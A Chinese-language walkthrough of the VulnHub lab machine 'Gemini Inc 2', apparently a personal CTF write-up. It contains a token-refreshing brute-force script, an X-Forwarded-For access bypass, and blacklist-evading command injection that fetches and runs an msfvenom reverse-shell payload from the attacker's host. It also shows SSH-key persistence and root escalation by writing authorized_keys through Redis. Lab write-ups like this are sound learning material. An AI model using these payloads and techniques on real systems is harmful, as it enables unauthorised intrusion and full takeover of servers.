Gemini Inc 2 walkthrough (靶场通关小记)
PS
https://www.vulnhub.com/entry/gemini-inc-2,234/
主机发现
./fscan -h 192.168.74.0/24 -nobr -nopoc
nmap -A -T 4 -p 1-65535 192.168.74.130
开放22、80两个端口
信息收集
目录扫描
gobuster dir -u http://192.168.74.130/ -x php,txt,bak,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
漏洞利用
注册账户
打开网站,需要先登录,根据上方的目录扫描结果有一个注册账户界面
访问http://192.168.74.130/registration.php
注册界面,注册账号
注册后登录,网站提示账户需要激活,且激活码是6位数字
激活账户
上方目录扫描还有/activate.php
,访问后是一个激活的表单,需要键入用户id与激活码
用户id可访问账户My Profile,得知账户id;已知激活码的格式是6位数字,可通过爆破激活码来实现账户激活
发送POST请求需要携带上一次响应的token,可通过yakit的热加载模块中的beforeRequest
方法来获取token并替换
填入代码,保存后退出
beforeRequest = func(req) {
// 发送GET请求,获取响应
rsp, _, err = poc.HTTP(`GET /activate.php HTTP/1.1
Host: 192.168.74.130
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESS22bb0594418fc295ad28fff326bac0cd=GbPbiiuXjTOLKQFOa_JBKrfPGSUEI6QPmyVUHe5VTFk; csrftoken=QsoZJsj98YZE2yxe4kRRcLlaRjafUN42NX0gkS22DcPPPL6VRSNbmNv3lofsC3Mq; PHPSESSID=b96n1vj1remvocmcfq79at5le1; user=test; pass=a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
`)
if err != nil {
return req
}
// 获取GET响应的Set-Cookie
cookie = poc.GetHTTPPacketHeader(rsp, "Set-Cookie")
node, err = xpath.LoadHTMLDocument(rsp)
if err != nil {
return req
}
// 通过xpath语法获取token的值
tokenNode = xpath.FindOne(node, "//input[@name='token']")
if tokenNode == nil {
return req
}
token = xpath.SelectAttr(tokenNode, "value")
// 替换token
req = req.ReplaceAll("__TOKEN__", token)
// 替换cookie
req = poc.AppendHTTPPacketHeader(req, "Cookie", cookie)
return req
}
开始爆破,根据响应长度排序观察,得到结果如下
返回主页,用户已成功激活
使用Gemini登录网站
点击User List,得知管理员账户是Gemini
尝试SQL二次注入实现修改管理员密码,无法注册该用户 Gemini'#
没辙了,Google信息收集以下,原来是查看该用户页面的源代码有密码
得到密文如下,MD5解密得到密码 https://www.somd5.com/
edbd1887e772e13c251f688a5f10c1ffbb67960d
secretpassword
使用Gemini
登录
利用Admin Panel功能GetShell
打开后访问403错误,使用Yakit查看响应信息,内容如下
HTTP/1.1 403 IP NOT ALLOWED
Date: Mon, 20 Jan 2025 05:39:03 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
提示IP不允许,在请求体上加上X-Forwarded-For: 127.0.0.1
,即可访问页面
除了X-Forwarded-For: 127.0.0.1
这个HTTP头,该页面请求时需要携带上一次响应的token,使用热加载功能提取token后替换,步骤同上方的激活账户
根据目录遍历结果/blacklist.txt
,部分黑名单过滤代码如下
//$blacklist = array(' ', 'wget', '&', '&&', '$' ,'|' , "\\", "(", ")", "%", "!", "<");
$blacklist = array(' ', '`', '&', '<', '>', '{', '}', '|', "\\", '(', ')', '%', 'cat', 'more', 'less');
if ((strposa($_POST['testcmd'], $blacklist) === false)) {
过滤蛮多的字符,可以使用以下方式绕过空格
IFS=",";var1="wget,http://192.168.1.113,-O,/tmp/test.txt";$var1
msfvenom生成木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 -f elf > shell.elf
# 启动web服务
python -m http.server
msf启动监听
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.74.129
set LPORT 4444
exploit
victim执行以下命令(Yakit payload)
wget http://192.168.74.129:8000/shell.elf -O /tmp/shell.elf
chmod +x /tmp/shell.elf
/tmp/shell.elf
# POST请求体中
testcmd={{urlescape(IFS=",";var1="wget,http://192.168.74.129:8000/shell.elf,-O,/tmp/shell.elf";$var1)}}&token=__TOKEN__
testcmd={{urlescape(IFS=",";var1="chmod,+x,/tmp/shell.elf";$var1)}}&token=__TOKEN__
testcmd={{urlescape(/tmp/shell.elf)}}&token=__TOKEN__
获取shell
提权
ssh写入公钥(权限维持)
# 生成ssh密钥对
ssh-keygen -t rsa
# 保存路径输入 ./id_rsa
# 上传 id_rsa.pub公钥
# 将公钥写入到authorized_keys文件
mkdir ~/.ssh && touch ~/.ssh/authorized_keys
cat id_rsa.pub >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && chmod 700 ~/.ssh/
# 用ssh秘钥远程登录
ssh -i id_rsa gemini1@192.168.74.130
常规提权
信息收集
cat /etc/passwd
cd ~
ls -la
sudo -l
啥也没有
看网站目录,找下数据库信息,frp做端口转发,用navicat连接数据库后,啥也没有
继续收集信息
meterpreter > netstat
目标服务器有redis服务,redis一般权限比较高,尝试利用redis提权
redis提权
查看redis进程的用户
gemini1@geminiinc:/tmp$ ps aux | grep redis
root 348 0.1 0.7 43300 3672 ? Ssl Jan19 0:23 /usr/local/bin/redis-server 127.0.0.1:6379
root权限运行,权限很高
查看redis连接密码
cat /etc/redis/6379.conf | grep requirepass
# If the master is password protected (using the "requirepass" configuration
requirepass 8a7b86a2cd89d96dfcc125ebcc0535e6
使用密码连接redis
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
成功连接
利用redis写入公钥
ssh-keygen -t rsa # 生成SSH公钥密钥
# 保存路径输入 ./id_rsa
# 写入txt
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt # 将公钥写入key.txt文件
# 需要转成txt才可以成功写入,尝试直接cat id_rsa.pub失败
# 将该key.txt文件上传至目标服务器后,
# 把key.txt文件内容写入redis缓冲
cat key.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set pub
# 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
# 若无/root/.ssh目录,使用ssh服务,以生成/root/.ssh目录
gemini1@geminiinc:/tmp$ redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> save
OK
使用ssh私钥连接目标服务器
ssh -i id_rsa root@192.168.74.130